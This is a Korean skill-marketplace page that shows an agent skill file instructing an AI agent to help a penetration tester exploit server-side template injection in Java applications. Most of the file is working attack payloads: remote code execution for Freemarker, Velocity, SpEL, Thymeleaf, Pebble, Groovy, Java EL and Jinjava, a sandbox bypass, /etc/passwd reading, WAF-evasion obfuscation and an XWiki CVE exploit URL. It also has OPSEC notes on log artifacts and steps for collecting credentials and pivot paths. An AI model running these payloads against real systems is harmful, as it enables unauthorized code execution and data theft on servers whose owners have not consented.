본문으로 건너뛰기
cccskills
무료GitHub에 공개

web-ssti-freemarker

You are helping a penetration tester exploit server-side template injection in a

한국어 요약은 준비 중입니다. 원문 설명을 표시하고 있습니다.

연동 도구HubSpot
설치 방법 보기

포함된 파일(1)

  • SKILL.md11.6 KB

SKILL.md(원문)

설치하기 전에 에이전트에게 전달되는 지시 내용을 확인할 수 있습니다.

Freemarker / Java SSTI

You are helping a penetration tester exploit server-side template injection in a Java application. The target uses Freemarker, Velocity, Thymeleaf, Pebble, Spring Expression Language (SpEL), Groovy, or Java EL and processes attacker-controlled input through the template/expression engine without proper sanitization. The goal is to escalate from expression evaluation to remote code execution or file access. All testing is under explicit written authorization.

Engagement Logging

Check for ./engagement/ directory. If absent, proceed without logging.

When an engagement directory exists:

  • Print [ssti-freemarker] Activated → <target> to the screen on activation.
  • Evidence → save significant output to engagement/evidence/ with descriptive filenames (e.g., sqli-users-dump.txt, ssrf-aws-creds.json).

State Management

Call get_state_summary() from the state MCP server to read current engagement state. Use it to:

  • Skip re-testing targets, parameters, or vulns already confirmed
  • Leverage existing credentials or access for this technique
  • Understand what's been tried and failed (check Blocked section)

Your return summary must include:

  • New targets/hosts discovered (with ports and services)
  • New credentials or tokens found
  • Access gained or changed (user, privilege level, method)
  • Vulnerabilities confirmed (with status and severity)
  • Pivot paths identified (what leads where)
  • Blocked items (what failed and why, whether retryable)

Prerequisites

  • Confirmed template expression evaluation: ${7*7} returns 49, or {{7*7}} returns 49 in a Java context
  • Multiple expression syntaxes exist in Java: ${ }, #{ }, *{ }, @{ }, ~{ }, [= ], [[ ]] — test all if one fails
  • If {{7*'7'}} returns 7777777 or 49, the engine is likely Python (Jinja2) or PHP (Twig), not Java

Step 1: Assess

If not already provided, determine:

  1. Framework — Spring Boot, Struts, JSF, XWiki, HubSpot, or custom
  2. Template engine — Freemarker, Velocity, Thymeleaf, Pebble, SpEL, Groovy, Java EL
  3. Injection point — URL param, form field, error page, PDF/email template
  4. Expression syntax — which delimiters work? (${}, #{}, *{}, [=])

Skip if context was already provided.

Step 2: Engine Identification

Detection by Error Messages

Inject (1/0).zxy.zxy inside template tags. The error reveals the language:

ErrorEngine
java.lang.ArithmeticExceptionJava EL / SpEL
Arithmetic operation failedFreemarker
No error, but 0 returnedVelocity (silently handles division)

Detection by Syntax

PayloadResultEngine
${7*7} → 49Freemarker, SpEL, Java EL, Groovy
#{7*7} → 49Freemarker (legacy), Thymeleaf, Java EL
[=7*7] → 49Freemarker (alternative syntax, >= 2.3.4)
*{7*7} → 49Spring/Thymeleaf
[[${7*7}]] → 49Thymeleaf (expression inlining)
${7*'7'} → nothing/errorFreemarker (doesn't do string repetition)
${foobar} → emptyFreemarker (undefined vars return empty)
{{ someString.toUpperCase() }} → worksPebble
{{'a'.toUpperCase()}} → AJinjava / HubL

Freemarker Quick Confirmation

${"freemarker.template.utility.Execute"?new()("id")}

If this returns command output, the engine is Freemarker with no sandbox.

Step 3: RCE — Freemarker

Execute Class (most reliable)

<#assign ex = "freemarker.template.utility.Execute"?new()>${ex("id")}
[#assign ex = 'freemarker.template.utility.Execute'?new()]${ex('id')}
${"freemarker.template.utility.Execute"?new()("id")}

Alternative syntax variants:

#{"freemarker.template.utility.Execute"?new()("id")}
[="freemarker.template.utility.Execute"?new()("id")]

File Reading

${product.getClass().getProtectionDomain().getCodeSource().getLocation().toURI().resolve('/etc/passwd').toURL().openStream().readAllBytes()?join(" ")}

Convert the returned byte values to ASCII.

Blind / Error-Based

# Error-Based
${("xx"+("freemarker.template.utility.Execute"?new()("id")))?new()}

# Boolean-Based
${1/(("freemarker.template.utility.Execute"?new()("id && echo UniqueString"))?chop_linebreak?ends_with("UniqueString"))?string('1','0')?eval}

# Time-Based
${"freemarker.template.utility.Execute"?new()("id && sleep 5")}

Sandbox Bypass (Freemarker < 2.3.30)

<#assign classloader=article.class.protectionDomain.classLoader>
<#assign owc=classloader.loadClass("freemarker.template.ObjectWrapper")>
<#assign dwf=owc.getField("DEFAULT_WRAPPER").get(null)>
<#assign ec=classloader.loadClass("freemarker.template.utility.Execute")>
${dwf.newInstance(ec,null)("id")}

Step 4: RCE — Velocity

Classic Payload

#set($str=$class.inspect("java.lang.String").type)
#set($chr=$class.inspect("java.lang.Character").type)
#set($ex=$class.inspect("java.lang.Runtime").type.getRuntime().exec("whoami"))
$ex.waitFor()
#set($out=$ex.getInputStream())
#foreach($i in [1..$out.available()])
$str.valueOf($chr.toChars($out.read()))
#end

Alternative (via string class reflection)

#set($s="")
#set($stringClass=$s.getClass())
#set($runtime=$stringClass.forName("java.lang.Runtime").getRuntime())
#set($process=$runtime.exec("id"))
#set($out=$process.getInputStream())
#set($null=$process.waitFor())
#foreach($i in [1..$out.available()])
$out.read()
#end

Error-Based (Velocity)

#set($s="")
#set($sc=$s.getClass().getConstructor($s.getClass().forName("[B"), $s.getClass()))
#set($p=$s.getClass().forName("java.lang.Runtime").getRuntime().exec("id"))
#set($n=$p.waitFor())
#set($b="Y:/A:/"+$sc.newInstance($p.inputStream.readAllBytes(), "UTF-8"))
#include($b)

Step 5: RCE — Spring Expression Language (SpEL)

Basic RCE via Runtime

${T(java.lang.Runtime).getRuntime().exec("id")}

With Output Capture

${T(org.apache.commons.io.IOUtils).toString(T(java.lang.Runtime).getRuntime().exec("id").getInputStream())}

Via Method Invoke

${''.getClass().forName('java.lang.Runtime').getMethods()[6].invoke(''.getClass().forName('java.lang.Runtime')).exec('id')}

Character-by-Character Bypass (avoid blacklisted strings)

${T(org.apache.commons.io.IOUtils).toString(T(java.lang.Runtime).getRuntime().exec(T(java.lang.Character).toString(99).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(116)).concat(T(java.lang.Character).toString(32)).concat(T(java.lang.Character).toString(47)).concat(T(java.lang.Character).toString(101)).concat(T(java.lang.Character).toString(116)).concat(T(java.lang.Character).toString(99)).concat(T(java.lang.Character).toString(47)).concat(T(java.lang.Character).toString(112)).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(115)).concat(T(java.lang.Character).toString(115)).concat(T(java.lang.Character).toString(119)).concat(T(java.lang.Character).toString(100))).getInputStream())}

Environment Variables

${T(java.lang.System).getenv()}

Session Manipulation

${pageContext.request.getSession().setAttribute("admin",true)}

Multiple Syntax Variants

If ${...} is blocked, try: #{...}, *{...}, @{...}, ~{...}

Step 6: RCE — Other Java Engines

Thymeleaf

# Expression inlining
[[${T(java.lang.Runtime).getRuntime().exec('id')}]]

# Preprocessing (double underscore)
__${T(java.lang.Runtime).getRuntime().exec("id")}__::.x

# Spring View Manipulation
__${new java.util.Scanner(T(java.lang.Runtime).getRuntime().exec("id").getInputStream()).next()}__::.x

Pebble

Old version (< 3.0.9):

{{ variable.getClass().forName('java.lang.Runtime').getRuntime().exec('id') }}

New version:

{% set cmd = 'id' %}
{% set bytes = (1).TYPE
     .forName('java.lang.Runtime')
     .methods[6]
     .invoke(null,null)
     .exec(cmd)
     .inputStream
     .readAllBytes() %}
{{ (1).TYPE
     .forName('java.lang.String')
     .constructors[0]
     .newInstance(([bytes]).toArray()) }}

Groovy

${"id".execute().text}

# Sandbox bypass
${@ASTTest(value={assert java.lang.Runtime.getRuntime().exec("id")}) def x}

Java EL (JSF/JSP)

${''.getClass().forName('java.lang.Runtime').getRuntime().exec('id')}

# With output capture
${''.getClass().forName('java.lang.String').getConstructor(''.getClass().forName('[B')).newInstance(''.getClass().forName('java.lang.Runtime').getRuntime().exec('id').inputStream.readAllBytes())}

Jinjava (HubSpot)

{{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval("var x=new java.lang.ProcessBuilder; x.command(\"whoami\"); org.apache.commons.io.IOUtils.toString(x.start().getInputStream())")}}

Step 7: Real-World Targets

XWiki SolrSearch (CVE-2025-24893)

XWiki <= 15.10.10 allows unauthenticated Groovy SSTI via SolrSearch RSS:

/xwiki/bin/view/Main/SolrSearch?media=rss&text=%7D%7D%7D%7B%7Basync%20async%3Dfalse%7D%7D%7B%7Bgroovy%7D%7Dprintln(%22id%22.execute().text)%7B%7B%2Fgroovy%7D%7D%7B%7B%2Fasync%7D%7D

URL-encode all characters (use %20 not +). Output appears in RSS <title>.

Spring Boot Error Pages

If Thymeleaf processes error page templates with user input:

http://TARGET/(${T(java.lang.Runtime).getRuntime().exec('id')})

Step 8: Escalate or Pivot

OPSEC Notes

  • Java template payloads execute on the JVM — visible in application logs
  • Runtime.exec() creates OS process artifacts (visible in process lists)
  • Large payloads (SpEL character-by-character) may trigger WAF rules
  • Freemarker Execute class usage may be logged by security managers
  • Velocity #set directives with reflection are distinctive in logs
  • Cleanup: no persistent artifacts unless you wrote files

Troubleshooting

Execute Class Not Found (Freemarker)

  • Freemarker >= 2.3.30 may restrict class instantiation
  • Try the sandbox bypass payload (requires version < 2.3.30)
  • Check if ObjectWrapper is set to BeansWrapper (allows reflection)
  • Try product.getClass() chain for file reading instead

SpEL T() Operator Blocked

  • Try method invoke chain: ''.getClass().forName(...).getMethods()[6].invoke(...)
  • Use javax.script.ScriptEngineManager for JavaScript-based execution
  • Try ProcessBuilder instead of Runtime:
    ${request.setAttribute("c","".getClass().forName("java.util.ArrayList").newInstance())}
    ${request.getAttribute("c").add("id")}
    ${request.setAttribute("a","".getClass().forName("java.lang.ProcessBuilder").getDeclaredConstructors()[0].newInstance(request.getAttribute("c")).start())}
    

Runtime.exec() Returns Empty

  • Runtime.exec() returns a Process object, not output
  • Need IOUtils.toString() (requires commons-io on classpath)
  • Or read the input stream manually:
    ${new java.util.Scanner(T(java.lang.Runtime).getRuntime().exec("id").getInputStream()).next()}
    

WAF Blocking Payloads

  • Use alternative Freemarker syntax: [=...] instead of ${...}
  • Freemarker obfuscation via lower_abc:
    ${(9?lower_abc+4?lower_abc)}  # produces "id"
    
  • SpEL: use Character.toString() chains to build command strings
  • Try base64-encoded command with Velocity

Automated Tools

# SSTImap
python3 sstimap.py -u 'https://TARGET/page?name=test' -s

# tplmap
python2.7 tplmap.py -u 'https://TARGET/page?name=test*' --os-shell

# TInjA — good for polyglot-based engine detection
tinja url -u "https://TARGET/page?name=test"

리뷰

아직 리뷰가 없습니다. 사용해 본 소감을 남겨 주세요.

댓글

로그인 없이 쓸 수 있습니다. 사용 후기, 질문, 작동하지 않은 환경 등을 편하게 남겨 주세요.

아직 댓글이 없습니다. 첫 댓글을 남겨 보세요.

보내면 바로 공개됩니다. 이메일 주소나 전화번호 같은 개인 정보는 쓰지 마세요. URL은 2개까지입니다.

0 / 1,000자

이 양식은 reCAPTCHA로 보호되며 Google 개인정보처리방침 및 서비스 약관이 적용됩니다.

같은 저장소의 스킬

You are helping a penetration tester exploit misconfigured Active Directory

한국어 요약은 준비 중입니다. 원문 설명을 표시하고 있습니다.

ajtazer/heckit22026년 10월 7일 업데이트

You are helping a penetration tester enumerate an Active Directory domain and

한국어 요약은 준비 중입니다. 원문 설명을 표시하고 있습니다.

ajtazer/heckit22026년 10월 7일 업데이트

You are helping a penetration tester establish persistent access in Active

한국어 요약은 준비 중입니다. 원문 설명을 표시하고 있습니다.

ajtazer/heckit22026년 10월 7일 업데이트

You are helping a penetration tester exploit ADCS through template/CA access

한국어 요약은 준비 중입니다. 원문 설명을 표시하고 있습니다.

ajtazer/heckit22026년 10월 7일 업데이트

You are helping a penetration tester establish persistence through AD CS

한국어 요약은 준비 중입니다. 원문 설명을 표시하고 있습니다.

ajtazer/heckit22026년 10월 7일 업데이트

You are helping a penetration tester exploit misconfigured AD CS certificate

한국어 요약은 준비 중입니다. 원문 설명을 표시하고 있습니다.

ajtazer/heckit22026년 10월 7일 업데이트

ajtazer의 스킬 모두 보기

이 스킬의 문제 신고